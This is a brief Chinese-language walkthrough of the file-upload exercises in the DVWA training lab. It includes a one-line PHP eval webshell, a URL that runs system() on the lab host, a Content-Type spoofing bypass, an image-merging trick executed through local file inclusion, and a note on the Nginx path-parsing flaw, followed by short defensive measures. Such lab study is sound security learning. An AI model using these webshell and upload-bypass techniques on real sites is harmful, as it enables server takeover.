网站常见功能,例如:上传头像
LOW
上传成功phpinfo.php可访问执行 http://192.168.3.88/dvwa/hackable/uploads/phpinfo.php
漏洞利用:以PHP为例,可上传一句话webshell
cmd.php
<?php
@eval($_GET['cmd']);
?>
可用来执行各种php函数、命令。例如:
http://192.168.3.88/dvwa/hackable/uploads/cmd.php?cmd=system('type c:\phpstudy\www\dvwa\php.ini');
medium.
上传非图片文件时通过改包修改发送的post请求包中的 Content-Type: image/jpeg 即可
high
我们尝试后发现服务器会对我们上传的文件的文件后缀、文件类型、文件内容进行验证。
使用dos命令制作内含图,把我们想要执行的文件与正常的图片合并。
copy test.jpg/b+ phpinfo.txt/a phpinfo.jpg
利用本地文件包含漏洞进行调用执行
http://192.168.3.88/dvwa/vulnerabilities/fi/?page=file:///C:phpStudyWWWDVWAhackableuploadscmd.jpg
利用 Nginx解析漏洞 使用phpstudy模拟测试环境 查看php-ini配置文件中 cgi.fix_pathinfo=1 是否为1 如是则存在畸形解析
xxx.xxx/xxx.php 前一个文件存在的话会当成是php文件进行解析
防护:
对用户上传的图片压缩重新生成、文件重命名、存储目录权限设置、存储目录与网站分离